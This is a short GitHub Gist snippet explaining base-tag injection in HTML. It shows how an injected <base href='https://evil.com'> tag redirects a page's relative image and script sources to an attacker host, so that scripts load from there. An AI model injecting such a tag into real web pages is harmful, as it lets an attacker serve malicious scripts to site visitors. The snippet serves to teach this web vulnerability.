Created
January 9, 2020 07:01
-
-
Save seanmarpo/f548b2edeffefa492696d904e0626da5 to your computer and use it in GitHub Desktop.
Description of how the <base> tag works
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<img src="/img/logo.png"> | |
<script src="/js/main.js></script> | |
<!-- | |
With the addition of a <base> tag the src attributes above will look like: | |
https://evil.com/img/logo.png | |
https://evil.com/js/main.js | |
--> | |
<base href="https://evil.com"> | |
<!-- So, you can imagine the kind of damage you can do if you can inject a <base> tag into a webpage --> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment